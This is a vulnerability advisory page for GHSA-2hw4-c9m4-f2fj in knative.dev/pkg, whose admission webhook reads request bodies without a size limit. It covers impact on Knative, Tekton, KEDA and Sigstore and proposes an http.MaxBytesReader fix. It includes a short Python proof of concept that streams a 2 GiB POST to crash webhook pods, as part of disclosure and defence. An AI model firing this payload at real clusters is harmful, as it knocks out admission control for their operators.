knative.dev/pkg admission webhooks allow unbounded request-body memory exhaustionGHSA-2hw4-c9m4-f2fj
MEDIUMFix: knative/pkg#3363GHSA-2hw4-c9m4-f2fj is a medium-severity (CVSS 6.5) CWE-770 vulnerability in knative.dev/pkg. A fix is available for knative.dev/pkg — see the affected versions and patch details below.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-2hw4-c9m4-f2fj by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 396,966 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
knative.dev/pkgReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
⚠️ Update (verification, 2026-05-19): C-2 confirmed end-to-end — 4.5× amplification observed (worse than the advisory's conservative 2× claim)
Built a Go PoC (cmd/poc-c2/main.go) that runs the exact 8-line vulnerable snippet from webhook/admission.go:109-117 verbatim under the same http.HandlerFunc shape (the full production admissionHandler at :85 requires *Webhook + AdmissionController + an informer-synced channel + controller-runtime / client-go scaffolding — the bug is the missing http.MaxBytesReader, nothing else in the handler). Bound to 127.0.0.1:18098.
PoC client streamed 2 GiB of a bytes over a raw TCP socket. runtime.MemStats.HeapAlloc sampler:
baseline: HeapAlloc = 0.32 MiB
peak: HeapAlloc = 9 217.38 MiB = 9.00 GiB
ratio: 4.50× the body size
The advisory predicted ~2× from io.TeeReader doubling the body once in bodyBuffer. The observed 4.5× ratio comes from the interaction of two amplifiers: bytes.Buffer.ReadFrom (used by TeeReader-fed bodyBuffer) doubles its backing slice on every grow, so peak occupancy during a realloc is old + new = 3× the live data — and json.Decoder holds its own working buffer in parallel. The advisory's 2× floor is comfortably exceeded.
Downstream impact reminder: this library backs every Knative serving / eventing controller, every Tekton Triggers / Pipelines webhook, KEDA, Sigstore policy-controller, Kpack, and many more. A 2 GiB body to any of those projects' admission webhook ports OOMs the controller at 4.5× the body — i.e., even a 128 MiB request OOMs a 512 MiB-limited Pod.
Summary
knative.dev/pkg's admission webhook handler reads the incoming HTTP request body via json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)) with no http.MaxBytesReader wrapping the body. Because every consumer of knative.dev/pkg/webhook inherits this handler (Knative serving / eventing, Tekton Pipelines, KEDA, Sigstore policy-controller, and others), a single oversized POST to any of those projects' admission webhook ports drives the controller pod into memory exhaustion and OOM-kill. Worse, the io.TeeReader design keeps a verbatim copy of the body in bodyBuffer while the decoder also materializes the parsed struct — so the peak memory usage is roughly twice the body size.
This is the same shape as CVE-2026-24514 (ingress-nginx) and GHSA-9539-c3xr-w9vm (Kyverno admission body OOM) filed today against the same antipattern.
Affected versions
knative.dev/pkg—mainHEAD ongithub.com/knative/pkg(verified 2026-05-18 againstwebhook/admission.gosha1ad5a1ce0ee7043081cb50fd1acc6d36a9126844).- Every release that ships the current
webhook/admission.gohandler.
Vulnerable code
review := admissionv1.AdmissionReview{}
var bodyBuffer bytes.Buffer
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
return
}
There is no http.MaxBytesReader around r.Body. The standard library's json.NewDecoder will read until EOF or the matching closing }. The io.TeeReader simultaneously copies every byte read from r.Body into bodyBuffer, which the rest of the handler uses for the response trailer / observability.
Downstream impact (the reason this matters)
knative.dev/pkg/webhook is the default admission-webhook scaffolding for the entire Knative + CNCF webhook ecosystem:
| Consumer | Repo | Webhook surface |
|---|---|---|
| Knative serving | knative/serving | resource validation / defaulting |
| Knative eventing | knative/eventing | resource validation / defaulting |
| Tekton Pipelines | tektoncd/pipeline | Pipeline / Task / TaskRun validation |
| Tekton Triggers | tektoncd/triggers | EventListener / Trigger validation |
| KEDA | kedacore/keda | ScaledObject / ScaledJob validation |
| Sigstore policy-controller | sigstore/policy-controller | ClusterImagePolicy mutating + validating |
| Kpack | buildpacks-community/kpack | Image / Builder validation |
| ... |
Every one of these consumers ships the same io.ReadAll-equivalent body read with no upper bound. A pod-network-reachable attacker can OOM-kill any of them with a single large POST. failurePolicy=Fail admission webhooks (the secure-default) then take the namespace's or cluster's admission flow offline until the controller restarts.
Impact
- Class: CWE-770 unbounded allocation. Reachable from any pod-network client.
- Severity per consumer: depends on how each consumer configures
failurePolicy. For projects withfailurePolicy=Fail(e.g., Sigstore policy-controller's image-policy enforcement), the consequence is cluster-wide admission outage. ForfailurePolicy=Ignore, the consequence is "this project's webhook is offline" but the API server continues admitting requests. - Severity: matches the broader CVE-2026-24514 / GHSA-9539-c3xr-w9vm. Single-packet DoS on the library; each downstream consumer inherits the bug.
Reproduction
The exact same PoC built against Kyverno's admission handler reproduces this:
import socket
total = 2 << 30 # 2 GiB
s = socket.create_connection(('<knative-or-tekton-webhook-host>', 8443))
s.sendall(b'POST /<admission-path> HTTP/1.1\r\nHost: x\r\nContent-Type: application/json\r\nContent-Length: %d\r\nConnection: close\r\n\r\n' % total)
chunk = b'a' * (1 << 20)
for _ in range(total >> 20): s.sendall(chunk)
Observed against the Kyverno admission handler (same antipattern):
baseline: HeapAlloc=7 MiB Sys=22 MiB
after read: HeapAlloc=9500 MiB Sys=9548 MiB (4 GiB body → 9.5 GiB peak; io.TeeReader doubles)
For the knative/pkg version, the io.TeeReader doubles the resident memory (one copy in the decoder's accumulating slice, one in bodyBuffer). A kyverno-admission-controller-equivalent Pod with a 256 MiB memory limit OOM-kills with ~128 MiB of body.
Suggested fix
Wrap the request body with http.MaxBytesReader (and add a http.StatusRequestEntityTooLarge branch on the MaxBytesError path):
const maxAdmissionRequestSize = 8 << 20 // 8 MiB — controller-runtime's default; large enough for Kubernetes' own admission objects
r.Body = http.MaxBytesReader(w, r.Body, maxAdmissionRequestSize)
var bodyBuffer bytes.Buffer
review := admissionv1.AdmissionReview{}
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
var mbe *http.MaxBytesError
if errors.As(err, &mbe) {
http.Error(w, "admission body exceeds maximum size", http.StatusRequestEntityTooLarge)
return
}
http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
return
}
This propagates a fix to every downstream consumer with no API change, and the cap can be made configurable per-server via a new field on the webhook.Options struct.
Disclosure
Reporting privately under your security policy. No public disclosure on my side until you have a fix or coordinated timeline. Encourage maintainers to coordinate with downstream consumers (Knative, Tekton, KEDA, Sigstore) on simultaneous release.
Reporter
tonghuaroot ([email protected])
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | knative.dev/pkg | all versions | 0.0.0-20260531000007-52dbd5ece63fgo get knative.dev/pkg@v0.0.0-20260531000007-52dbd5ece63f |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for knative.dev/pkg, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update knative.dev/pkg to 0.0.0-20260531000007-52dbd5ece63f or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2hw4-c9m4-f2fj is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is GHSA-2hw4-c9m4-f2fj in your dependencies?
Find it across Go, including transitive dependencies.